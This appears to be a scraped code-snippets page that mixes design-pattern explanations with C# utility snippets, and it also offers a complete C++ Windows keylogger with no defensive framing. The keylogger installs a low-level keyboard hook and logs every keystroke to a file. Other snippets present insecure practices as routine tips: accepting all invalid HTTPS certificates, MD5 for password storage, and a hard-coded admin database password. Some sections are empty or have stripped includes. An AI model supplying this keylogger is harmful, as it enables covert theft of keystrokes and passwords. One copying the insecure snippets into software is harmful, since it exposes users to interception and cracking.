Search

Design pattern: Chain Of Responsibility

In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects.[1] Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain. A mechanism also exists for adding new processing objects to the end of this chain.
In a variation of the standard chain-of-responsibility model, some handlers may act as dispatchers, capable of sending commands out in a variety of directions, forming a tree of responsibility. In some cases, this can occur recursively, with processing objects calling higher-up processing objects with commands that attempt to solve some smaller part of the problem; in this case recursion continues until the command is processed, or the entire tree has been explored. An XML interpreter might work in this manner.
This pattern promotes the idea of loose coupling, which is considered a programming best practice.



Check if all numeric string

This C# code snippet checks to see if the specified string is all numeric, that is, contains no alphabetic characters.

using System.Text.RegularExpressions;
...
const string ALL_NUMERIC_PATTERN = "[a-z|A-Z]";
 
static readonly Regex All_Numeric_Regex = 
   new Regex (ALL_NUMERIC_PATTERN);
 
static bool AllNumeric ( string inputString )
{
   if (All_Numeric_Regex.IsMatch ( inputString ))
   { 
      return false;
   }
   return true;
}
Below is another solution:
using System.Text.RegularExpressions;
...
static bool AllNumeric(string inputString)
{
   return Regex.IsMatch(inputString, @"^\d+$");
}

Keylogger in C++

//Keylogger in C++
// This code will only work if you have Windows NT or 
    // any later version installed, 2k and XP will work. 
     
     
    #define _WIN32_WINNT 0x0400 
     
    #include  
    #include  
    #include  
     
    // Global Hook handle 
    HHOOK hKeyHook; 
     
     
     
    // This is the function that is "exported" from the 
    // execuatable like any function is exported from a 
    // DLL. It is the hook handler routine for low level 
    // keyboard events. 
     
    __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
     
      int nCode,   // The hook code 
      WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.) 
      LPARAM lParam  // A pointer to a struct with information about the pressed key 
     
    ) { 
     if  ((nCode == HC_ACTION) &&   // HC_ACTION means we may process this event 
     ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ... 
     (wParam == WM_KEYDOWN)))   // ... or a normal key have been pressed. 
     { 
     
     //  This struct contains various information about 
     //  the pressed key such as hardware scan code, virtual 
     //  key code and further flags. 
     
     KBDLLHOOKSTRUCT hooked = 
     *((KBDLLHOOKSTRUCT*)lParam); 
     
     
     //  dwMsg shall contain the information that would be stored 
     //  in the usual lParam argument of a WM_KEYDOWN message. 
     //  All information like hardware scan code and other flags 
     //  are stored within one double word at different bit offsets. 
     //  Refer to MSDN for further information: 
     // 
     //  http://msdn.microsof...us/winui/winui/ 
     // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp 
     // 
     //  (Keystroke Messages) 
     
     
     DWORD dwMsg = 1; 
     dwMsg += hooked.scanCode << 16; 
     dwMsg += hooked.flags << 24; 
     
     
     //  Call the GetKeyNameText() function to get the language-dependant 
     //  name of the pressed key. This function should return the name 
     //  of the pressed key in your language, aka the language used on 
     //  the system. 
     
     char lpszName[0x100] = {0}; 
     lpszName[0] = '['; 
     
     int i = GetKeyNameText(dwMsg, 
     (lpszName+1),0xFF) + 1; 
     
     lpszName[i] = ']'; 
     
     
     //  Print this name to the standard console output device. 
     
     FILE *file; 
     file=fopen("keys.log","a+"); 
     fputs(lpszName,file); 
     fflush(file); 
     } 
     
     
    //  the return value of the CallNextHookEx routine is always 
    //  returned by your HookProc routine. This allows other 
    //  applications to install and handle the same hook as well. 
     
     return CallNextHookEx(hKeyHook, 
     nCode,wParam,lParam); 
     
    } 
     
     
     
    // This is a simple message loop that will be used 
    // to block while we are logging keys. It does not 
    // perform any real task ... 
     
    void MsgLoop() 
    { 
     MSG message; 
     while (GetMessage(&message,NULL,0,0)) { 
     TranslateMessage( &message ); 
     DispatchMessage( &message ); 
     } 
    } 
     
     
    // This thread is started by the main routine to install 
    // the low level keyboard hook and start the message loop 
    // to loop forever while waiting for keyboard events. 
     
    DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
     
    //  Get a module handle to our own executable. Usually, 
    //  the return value of GetModuleHandle(NULL) should be 
    //  a valid handle to the current application instance, 
    //  but if it fails we will also try to actually load 
    //  ourself as a library. The thread's parameter is the 
    //  first command line argument which is the path to our 
    //  executable. 
     
     HINSTANCE hExe = GetModuleHandle(NULL); 
     if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
     
    //  Everything failed, we can't install the hook ... this 
    //  never happened, but error handling is important. 
     
     if (!hExe) return 1; 
     
     
     
     hKeyHook = SetWindowsHookEx (  // install the hook: 
     
     WH_KEYBOARD_LL, // as a low level keyboard hook 
     (HOOKPROC) KeyEvent,   // with the KeyEvent function from this executable 
     hExe,   // and the module handle to our own executable 
     NULL   // and finally, the hook should monitor all threads. 
     ); 
     
     
    //  Loop forever in a message loop and if the loop 
    //  stops some time, unhook the hook. I could have 
    //  added a signal handler for ctrl-c that unhooks 
    //  the hook once the application is terminated by 
    //  the user, but I was too lazy. 
     
     MsgLoop(); 
     UnhookWindowsHookEx(hKeyHook); 
     return 0; 
    } 
     
     
    // The main function just starts the thread that 
    // installs the keyboard hook and waits until it 
    // terminates. 
     
    int main(int argc, char** argv) 
    { 
     HANDLE hThread; 
     DWORD dwThread; 
     DWORD exThread; 
     
     hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
     KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
     
     if (hThread) { 
     return WaitForSingleObject(hThread,INFINITE); 
     } else { 
     return 1; 
     } 
    }

What is a design pattern?

What is a design pattern?

A design pattern is a proven design solution to a common problem faced by software developers. Design patterns became popular with the rise of Object Oriented Analysis and Design (OOAD). Design patterns are designed to help developers deliver higher quality, more easily maintained software products in less time and at lower cost.

Design patterns are:

  • encapsulated - They embody design knowledge regarding collaboration of classes and objects, distribution of
  • responsibility, and other design issues.
  • object-oriented - They incorporate OOAD principles—e.g., low coupling, high cohesion.
  • reusable - They are adaptable, flexible, general solutions to classes of problems with broad applicability. Design patterns simplify the task facing the developer.

    How did design patterns originate?

    The history of design patterns is quite short. They originated as an architectural concept proposed by Christopher Alexander in the late nineteen seventies (ca. 1977). Kent Beck and Ward Cunningham experimented with the notion of applying patterns to computer programming in the late nineteen eighties (ca. 1987). Design patterns did not become widely used in computer science until after Design Patterns: Elements of Reusable Object-Oriented Software by the so-called Gang of Four was published in 1994.

    How are design patterns classified?

    Design patterns are categorized to facilitate learning and extending them. They are classified in terms of the underlying problems they address, i.e. according to usage.

    The three main design pattern categories are:

  • Behavioral design patterns - characterize the manner of class and object interaction and how responsibilities are distributed among them.
  • Creational design patterns - address the object creation process. Creational design patterns encapsulate knowledge about how, when, and by whom an instance is created.
  • Structural design patterns - address the composition of classes and objects. Design patterns vary both in granularity and level of abstraction.

    Behavioral design patterns

  • Chain of Responsibility Define a method of passing a request among a chain of objects.
  • Command Encapsulate a command request in an object.
  • Interpreter Allow inclusion of language elements in an application.
  • Iterator Enable sequential access to collection elements.
  • Mediator Define simplified communication between classes.
  • Memento Save and restore the internal state of an object.
  • Observer Define a scheme for notifying objects of changes to another object.
  • State Alter the behavior of an object when its state changes.
  • Strategy Encapsulate an algorithm inside a class.
  • Template Method Allow subclasses to redefine the steps of an algorithm.
  • Visitor Define a new operation on a class without changint it.

    Creational design patterns

  • Abstract Factory Encapsulate a set of analogous factories that produce families of objects.
  • Builder Encapsulate the construction of complex objects from their representation; so, the same building process can create various representations by specifying only type and content.
  • Factory Method Allow subclasses to "decide" which class to instantiate.
  • Prototype Create an initialized instance for cloning or copying.
  • Singleton Ensure that only a single instance of a class exists and provide a single method for gaining access to it.

    Structural design patterns

  • Adapter Adapt an interface to an expected interface.
  • Bridge Decouple an interface from its implementation.
  • Composite Create a tree structure for part-whole hierarchies.
  • Decorator Extend functionality dynamically.
  • Façade (Facade) Simplify usage by defining a high-level interface.
  • Flyweight Support fine-grained objects efficiently by sharing.
  • Proxy Represent an object with another object for access control.
  • Strip all HTML tags

    This C# code snippet removes all HTML tags from the specified string and returns the stripped string.
    
    using System.Text.RegularExpressions;
    ...
    const string HTML_TAG_PATTERN = "<.*?>";
     
    static string StripHTML (string inputString)
    {
       return Regex.Replace 
         (inputString, HTML_TAG_PATTERN, string.Empty);
    }
    

    Empty the Recycle Bin

    This C# code snippet empties the Recycle Bin. Windows will display a confirmation dialog box.
    using System.Runtime.InteropServices;
    ...
     
    enum RecycleFlags : uint
    {
       SHERB_NOCONFIRMATION = 0x00000001,
       SHERB_NOPROGRESSUI   = 0x00000002,
       SHERB_NOSOUND        = 0x00000004
    }
     
    [DllImport("Shell32.dll", CharSet = CharSet.Unicode)]
    static extern uint SHEmptyRecycleBin 
     (IntPtr hwnd, 
     string pszRootPath,
     RecycleFlags dwFlags);
     
    public static void Main()
    {
        uint result = SHEmptyRecycleBin (IntPtr.Zero, null, 0);
        Console.WriteLine ("Result: {0}", result);
    }
    

    Ignore Invalid HTTPS certificate

    To ignore invalid HTTPS certicates calling HTTPS Web service (for example), it is necessary to implement a dummy callback for the ServicePointManager:
    
    using System.Net;
    ...
     
       ServicePointManager.ServerCertificateValidationCallback =
          new RemoteCertificateValidationCallback
             (IgnoreCertificateErrorHandler);
    ...
    private bool IgnoreCertificateErrorHandler
       (object sender,
       System.Security.Cryptography.X509Certificates.X509Certificate certificate,
       System.Security.Cryptography.X509Certificates.X509Chain chain,
       System.Net.Security.SslPolicyErrors sslPolicyErrors)
    {
     
       return true;
    }
    ...
    

    HTTP Post

    Log messages to a file

    This C# code snippet logs messages to a disk file for debugging or other logging purposes. Such code is especially useful when writing server applications which contain no user interface. Call the following simple method like:
    LogMessageToFile ("Message to be logged.");
    
    Automatically, the current datetime is inserted with your message into the log file.
    using System; 
    using System.IO; 
     
    public string GetTempPath()
    {
       string path = 
          System.Environment.GetEnvironmentVariable ("TEMP");
       if (!path.EndsWith ("\\"))
       {
          path += "\\";
       }
       return path;
    }
     
    public void LogMessageToFile (string message)
    {
       System.IO.StreamWriter sw = 
          System.IO.File.AppendText(
             GetTempPath() + "Logfile.txt"); // Change filename
       try
       {
          string logLine = 
             System.String.Format(
                "{0:G}: {1}.", System.DateTime.Now, message);
          sw.WriteLine(logLine);
       }
       finally
       {
          sw.Close();
       }
    }
    
    More sophisticated logging can be achieved using the Windows Event Log. Simply, create an event message source and either create a custom event log or use the application log. Typically, to add a source to the log, such logging programs will implement the System.Configuration.Install.Installer interface.
    And, the TraceListener infrastructure can be used to turn them on or off or redirect sources to debugger output, the Event Log, a text file, etc. A custom trace listener can log to an arbitrary log.

    Create/Delete a directory

    This C# code snippet first creates (makes) then deletes a directory (folder) from disk.
    using System;
    using System.IO;
     
    class DirectoryCreation
    {
       public static void Main()
       {
          string directoryString = 
             Directory.GetCurrentDirectory() +
             @"\TestDir";
          Directory.CreateDirectory (directoryString);
          Console.WriteLine ("Created: {0}", directoryString);
          Directory.Delete (directoryString);
          Console.WriteLine ("Deleted: {0}", directoryString);
       }
    }
    

    Clear Internet Explorer cache

    This C# code snippet deletes all the Temporary Internet files, i.e. clears the Internet Explorer cache.
    using System;
    using System.IO; 
    
    void clearIECache()
    {
       ClearFolder (new DirectoryInfo (Environment.GetFolderPath
          (Environment.SpecialFolder.InternetCache)));
    }
     
    void ClearFolder (DirectoryInfo folder)
    {
       foreach (FileInfo file in folder.GetFiles())
          { file.Delete(); }
       foreach (DirectoryInfo subfolder in folder.GetDirectories())
          { ClearFolder(subfolder); }
    }
     
    public static void Main( )
    {
       new Test().clearIECache ();
    }
    

    Create Group Object

    This C# code snippet creates a Group Object in Active Directory.
    using System.DirectoryServices;
    using System.Reflection;
     
    public class ADGroup
    {
     
       private String ADGRPOUP = "group";
     
       // Grouptype-Definition 
       enum GrpType : uint
       {
          UnivGrp = 0x08,
          DomLocalGrp = 0x04,
          GlobalGrp = 0x02,
          SecurityGrp = 0x80000000
       }
     
       DirectoryEntry ent = new DirectoryEntry("LDAP://RootDSE");
       String str = (String)ent.Properties["defaultNamingContext"][0];
       deAD = new DirectoryEntry("LDAP://" + str);
       GrpType gt = GrpType.GlobalGrp | GrpType.SecurityGrp;
       int typeNum = (int)gt; 
       DirectoryEntry ou = deAD.Children.Find("OU=Users");
       DirectoryEntry group = ou.Children.Add("cn=myGroupName", ADGRPOUP );
       group.Properties["sAMAccountName"].Add("myGroupName");
       group.Properties["description"].Add(" description myGroupName");
       group.Properties["groupType"].Add(typeNum);
       group.CommitChanges();
    }
    

    Search array with binary search

    This C# code snippet searches an array of integers using a binary search.

    Get NetBIOS and DNS computer names

    This C# code snippet obtains the NetBIOS and DNS computer names of the local computer.
    using System;
     
    static string GetLocalHostName ()
    {
       string netBiosName = System.Environment.MachineName;
       //return netBiosName;
     
       // Following method is deprecated
       // string dnsName = 
       //   System.Net.Dns.GetHostByName("LocalHost").HostName;
     
       string dnsName = System.Net.Dns.GetHostName();
       return dnsName;
    }
    

    Format the date and time

    This C# code snippet displays the date and time in various formats.
    using System;
    using C = System.Console; 
    ...
     
    static void Main() {
       DateTime dateTime = DateTime.Now;
       C.WriteLine ("d = {0:d}", dateTime );  // mm/dd/yyyy
       C.WriteLine ("D = {0:D}", dateTime );  // month dd, yyyy
       C.WriteLine ("f = {0:f}", dateTime );  // day, month dd, yyyy hh:mm 
       C.WriteLine ("F = {0:F}", dateTime );  // day, month dd, yyyy HH:mm:ss AM/PM 
       C.WriteLine ("g = {0:g}", dateTime );  // mm/dd/yyyy HH:mm
       C.WriteLine ("G = {0:G}", dateTime );  // mm/dd/yyyy hh:mm:ss
       C.WriteLine ("M = {0:M}", dateTime );  // month dd
       C.WriteLine ("R = {0:R}", dateTime );  // ddd Month yyyy hh:mm:ss GMT
       C.WriteLine ("s = {0:s}", dateTime );  // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("t = {0:t}", dateTime );  // hh:mm AM/PM
       C.WriteLine ("T = {0:T}", dateTime );  // hh:mm:ss AM/PM
     
       // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("u = {0:u}", dateTime );  
     
       // day, month dd, yyyy hh:mm:ss AM/PM
       C.WriteLine ("U = {0:U}", dateTime );
     
       // month, yyyy (March, 2006)
       C.WriteLine ("Y = {0:Y}", dateTime );  
       C.WriteLine ("Month = " + dateTime.Month); // month number (3)
     
       // day of week name (Friday)
       C.WriteLine ("Day Of Week = " + dateTime.DayOfWeek);     
     
       // 24 hour time (16:12:11)
       C.WriteLine ("Time Of Day = " + dateTime.TimeOfDay);     
     
       // (632769991310000000)
       C.WriteLine("DateTime.Ticks = " + dateTime.Ticks);   
       // Ticks are the number of 100 nanosecond intervals since 01/01/0001 12:00am
       // Ticks are useful in elapsed time measurement.
       }
    

    Create a MD5 Hash from a string

    This C# code snippet creates a MD5 hash—a 32-character string of hexadecimal numbers—from a string. Passwords are commonly stored in databases as a hash code.

    Call the following code with this method call:
    string md5hash = CreateMD5Hash
       ("abcdefghijklmnopqrstuvwxyz");
    
    md5hash will contain this string: "C3FCD3D76192E4007DFB496CCA67E13B".
    using System;
     
    public string CreateMD5Hash (string input)
    {
       // Use input string to calculate MD5 hash
       MD5 md5 = System.Security.Cryptography.MD5.Create();
       byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
       byte[] hashBytes  = md5.ComputeHash (inputBytes);
     
       // Convert the byte array to hexadecimal string
       StringBuilder sb = new StringBuilder();
       for (int i = 0; i < hashBytes.Length; i++)
       {
           sb.Append (hashBytes[i].ToString ("X2"));
           // To force the hex string to lower-case letters instead of
           // upper-case, use he following line instead:
           // sb.Append(hashBytes[i].ToString("x2")); 
       }
       return sb.ToString();
    }
    
    Located in the System.Web.Security namespace, this class can also be used:
    FormsAuthentication.HashPasswordForStoringInConfigFile (string, "MD5")
    

    Convert Fahrenheit and Celsius

    This C# code snippet converts temperatures between the two major temperature scales—Fahrenheit and Celsius.
    using System;
    
    public static double CelsiusToFahrenheit 
       (string temperatureCelsius)
    {
       double celsius = System.Double.Parse (temperatureCelsius);
       return (celsius * 9 / 5) + 32; 
    }
     
    public static double FahrenheitToCelsius 
       (string temperatureFahrenheit)
    {
       double fahrenheit = System.Double.Parse (temperatureFahrenheit);
       return (fahrenheit - 32) * 5 / 9;
    }
    

    Cast an object to an interface

    This C# code snippet shows how to test the specified object in order to determine whether or not it implements a particular interface. Although an interface cannot be instantiated directly, an interface can be treated polymorphically by casting an object which implements the interface to the interface type. Then, the actual runtime type of the object can be ignored; and, the object will appear to be an instantiated interface. The first option is to simply cast the object reference to an interface
    ICloneable iCloneable = (ICloneable) new TheObject();
    

    Unfortunately, if the object does not implement that particular interface, a runtime error of System.InvalidCastException will be thrown. You could catch that exception and take appropriate action; but, that is both bad practice and inefficient.

    The second option is to use the is operator which returns true if the object can be safely cast to the specified type:
    using System;
    TheObject theObject = new TheObject();  
    if (theObject is ICloneable)
    {
       ICloneable iCloneable = (ICloneable) theObject;  
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    
    The third option is to use the as operator which will either cast the object to the specified type or return a null if the cast would be invalid.
    ICloneable iCloneable = new TheObject() as ICloneable;
    if (iCloneable != null)
    {
       iCloneable.Clone();   // access interface member
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    

    Call with variable arguments

    This C# code snippet uses the params keyword to implement a method which can be called with a variable number of arguments.
    using System;
     
    static void ListArguments (params object[] arguments)
    {
       foreach (object argument in arguments)
       {
          Console.WriteLine (argument);
       }
    }
     
    public static void Main( )
    {
       ListArguments ("Arguments: ", DateTime.Now, 3.14f);
    }
    

    Calculate Fibonacci number

    This C# code snippet calculates a Fibonacci number using recursion, i.e., the Fibonacci method calls itself when necessary.
    using System;
    static int Fibonacci (int x)
    {
       Console.WriteLine ("x = {0}", x);
       if (x <= 1)
       {
          return x;
       }
       return Fibonacci (x-1) + Fibonacci (x-2);
    }
      
    static void Main( )
    {
       Console.WriteLine ("Fibonacci no. = {0}", Fibonacci (5));
       Console.ReadKey();
    }
    

    Write a Registry key

    This C# code snippet writes a key to the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       try
       {
          masterKey.SetValue ("MyKey", "MyValue");
       }
       catch (Exception ex)
       {
          Console.WriteLine (ex.Message);
       }
       finally
       { 
          masterKey.Close();
       }
    }
    

    Read a Registry key

    This C# code snippet reads a key from the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey 
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       Console.WriteLine ("MyKey = {0}", masterKey.GetValue ("MyKey"));
    }
    masterKey.Close();
    

    Structured Exception Handling (SEH Class)

    //Structured Exception Handling (SEH Class) 
    //Usage: Choose the output type = SEH.OutType(MessageBox); 
    //Throw using  (Exception ex,String Msg); 
         
        using System; 
         
        namespace SEH 
        { 
         public enum Output { Console=101, Debug, Messagebox, Dialog }; 
         
         static partial class SEH 
         { 
         
         private static int disp; 
         
         // Exception Output Display type 
         public static void OutType(Output val) 
         { 
         disp = Convert.ToInt32(val); 
         } 
         
         // Exception Data 
         public static void EX_Data(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " + EXC.Data.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data, "EXCEPTION : [ Data ]", System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Data with User Message 
         public static void EX_Data(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " 
         + EXC.Data.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data + "\n \"" + Message + "\"", "EXCEPTION : [ Data ]", 
         System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Description 
         public static void EX_Msg(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message, "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Description With Message 
         public static void EX_Msg(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\"" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception 
         public static void EX_Inner(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException, "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception with Message 
         public static void EX_Inner(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.InnerException != null) 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Help Link 
         public static void EX_Help(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + 
         EXC.HelpLink.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink, "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Help Link with user maeeage 
         public static void EX_Help(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.HelpLink != null) 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + EXC.HelpLink.ToString() + " ]" + "\n\" " + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Source 
         public static void EX_Source(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source, "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Exception Source with Message 
         public static void EX_Source(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Dxception target 
         public static void EX_Target(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite, 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Target with Message 
         public static void EX_Target(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite + "\n \"" + Message + "\"", 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Trace 
         public static void EX_Trace(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace, "EXCEPTION : [ StackTrace ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // Exception tace with Message 
         public static void EX_Trace(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace + "\n \"" + Message + "\"", 
         "[" + Message + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // All Exception 
         public static void EX_All(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.ToString()); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + EXC.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.ToString(), 
         "EXCPTION : [ INFO ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         //Catches every type of exception(shows TypeInfo) 
         public static void _typo(Exception EXC) 
         { 
         
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.GetType(), //+  @"\nHashCode:"+ EXC.GetHashCode(), 
         "EXCPTION : [" + EXC.GetType() + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         
         
         } 
        } 
    
    

    Send Message API Class

    Connection String Class

    In computing, a connection string is a string that specifies information about a data source and the means of connecting to it. It is passed in code to an underlying driver or provider in order to initiate the connection. This is an example of a utility to facilitates the db connection.


    Get String from database


    Stored procedure example

    Sql Data Reader Example

    //Sql Data Reader
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace killercodes_in.SqlDataReader1
    {
        public partial class Form1 : Form
        {
            private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                SqlConnection sqc = new SqlConnection(_cString1);
                SqlCommand cmd = new SqlCommand("select * from grademstr", sqc);
                SqlDataReader reader;
                try
                {
                    sqc.Open();
                    sqc.Close();
                }
                catch
                {
                }
                sqc.Open();
                reader = cmd.ExecuteReader();
                while (reader.Read())
                {
                    textBox1.Text = reader["Gradeid"].ToString();
                    textBox2.Text = reader["GradeCode"].ToString();
                    textBox3.Text = reader["GradeDesc"].ToString();
                    textBox4.Text = reader["DA_Percent"].ToString();
                }
                reader.Close();
                cmd.Dispose();
                sqc.Close();
            }
        }
    }
    

    Sql Data Adapter Example

